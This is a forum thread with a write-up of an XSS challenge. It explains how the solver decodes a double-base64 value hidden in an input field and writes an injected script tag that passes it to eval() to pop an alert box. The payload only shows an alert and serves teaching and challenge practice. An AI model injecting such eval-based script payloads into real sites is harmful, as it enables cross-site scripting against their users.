Spoiler (Click to View)

(May 3, 2017 01:57 PM)Session_worm Wrote:  Hello, interresting idea ✌
Let me clarify....
The challenge is to pop-up the alert box with text upon loading the page (the button , or sneak in any kind of code that does something?

Also second question:
Do you in some time post your solution somewhere? (Given that there is infinite ammount of solutions, according to how people want to solve it).

Meanwhile I also tried your other challenges, so far passed only the first one with modern browser, but will keep up until I pass all of them 🎉

(May 4, 2017 04:07 AM)Session_worm Wrote:  Finally finished challenge n. 5. 🤝
Cannot send PM's (yet) so putting it like this.
Gave me hard time, and I'm glad since it taught me new method. 👍
https://i.imgur.com/N9KKoXg.png

(Jul 24, 2017 05:12 AM)Pronouncer Wrote:  It's a very nice challenge :) thnx for contributing

(Jul 24, 2017 08:12 PM)redlightrouter Wrote:  Thank you for your kind words :).

---

Well, I promised a write-up so here it is:

Spoiler (Click to View)
When viewing the source code you will see a hidden input
with the value ' WVd4bGNuUW9KMWhUVXljcA== '. This is obviously base64, so lets decode it
This looks like another base64 encoded string. Lets decode it again:

This is actually interesting since this is what we want to achieve in the end: Popping an alert box.

In Javascript it's possible to return a reference to the element by its ID with the function ' document.getElementById() '.
So lets try that out in Chrome's console:

PHP Code


<?php 
document.getElementById("x") /* returns <input id="x" type="Hidden" value="WVd4bGNuUW9KMWhUVXljcA==" >
This returns the whole line where the id is in, we don't want that. We want its value. */

document.getElementById("x").value /* returns WVd4bGNuUW9KMWhUVXljcA==
That's exactly what we wanted. */ 


Now we know how to get its value and we know it's base64 encoded, so a possible payload looks like this:

So we need to decode the string twice, fortunately Javascript has a function for that called atob(). Lets try that in Chrome's console:

PHP Code


<?php 
atob(atob(document.getElementById("x").value)) // Returns alert('XSS') 


Nice, lets try to make a payload:

PHP Code


<?php 
//Replace [] with <>

[script] atob(atob(document.getElementById("x").value)) [/script]
// This will not work, because this is what Javascript interprets
[script] "alert('xss')" [/script] 
/*
This returns a string so nothing happens.
(Un)Fortunately Javascript also has a solution for this issue. 

The function eval() takes a string and will execute it as it's a real function. 
Lets try that out
*/
[script]eval(atob(atob(document.getElementById("x").value)))[/script] 


Boom, an alert box appears.


Thanks for participating.